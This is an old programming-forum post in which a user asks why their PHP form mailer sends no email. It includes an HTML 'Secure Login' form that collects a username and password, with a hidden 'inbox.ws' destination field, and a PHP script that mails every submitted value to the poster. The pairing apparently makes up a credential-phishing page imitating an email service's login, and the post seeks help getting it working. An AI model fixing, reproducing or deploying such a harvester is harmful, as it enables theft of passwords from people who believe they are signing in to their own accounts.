# PHP Form Mailer Problem

**URL:** https://forum.kirupa.com/t/php-form-mailer-problem/232828
**Category:** programming
**Created:** [July 18, 2007, 5:44am UTC](https://forum.kirupa.com/t/php-form-mailer-problem/232828 "2007-07-18T05:44:42Z")
**Posts on this page:** 1
**Page:** 1

<div class="post-metadata">

### Author: ![denis0n](https://avatars.discourse-cdn.com/v4/letter/d/48db29/32.png) [@denis0n](https://forum.kirupa.com/u/denis0n)
#### Post date: [July 18, 2007, 5:44am UTC](https://forum.kirupa.com/t/php-form-mailer-problem/232828/1 "2007-07-18T05:44:42Z")

</div>

Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on [hyperphp.com](http://hyperphp.com) but in the host isnt the problem.I will give my code, and if anyone know what do , thanks.

PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.

Form

> \<form action=“mailer.php” method=“post”\>

\<table style=“opacity: 1;”\>  
\<tbody\>\<tr\>  
\<td\>Username:\</td\>  
\<td\>\<input size=“20” name=“username” maxlength=“12” type=“text”\>\</td\>  
\</tr\>  
\<tr\>  
\<td\>Password:\</td\>  
\<td\>\<input size=“20” name=“password” maxlength=“20” type=“password”\>\</td\>  
\</tr\>  
\<tr\>  
\<td\>\</td\>  
\<td align=“center”\>\<input value=“Secure Login” name=“submit” type=“submit”\>\</td\>  
\</tr\>  
\</tbody\>\</table\>  
\<input name=“dest” value=“inbox.ws” type=“hidden”\>

\</form\>

Mailer

> 

\<?PHP

$to = “[Mymail@domain.com](mailto:Mymail@domain.com)”;  
$subject = “Results from your Request Info form”;  
$headers = “From: My Site”;  
$forward = 0;  
$location = “”;

$date = date (“l, F jS, Y”);  
$time = date (“h:i A”);

$msg = "Below is the result of your feedback form. It was submitted on $date at $time.

";

if ($\_SERVER[‘REQUEST\_METHOD’] == “POST”) {  
foreach ($\_POST as $key =\> $value) {  
$msg .= ucfirst ($key) ." : ". $value . "  
“;  
}  
}  
else {  
foreach ($\_GET as $key =\> $value) {  
$msg .= ucfirst ($key) .” : ". $value . "  
";  
}  
}

mail ($to, $subject, $msg, $headers);  
if ($forward == 1) {  
header (“Location:$location”);  
}  
else {  
echo “Thanks…”;  
}

?\>
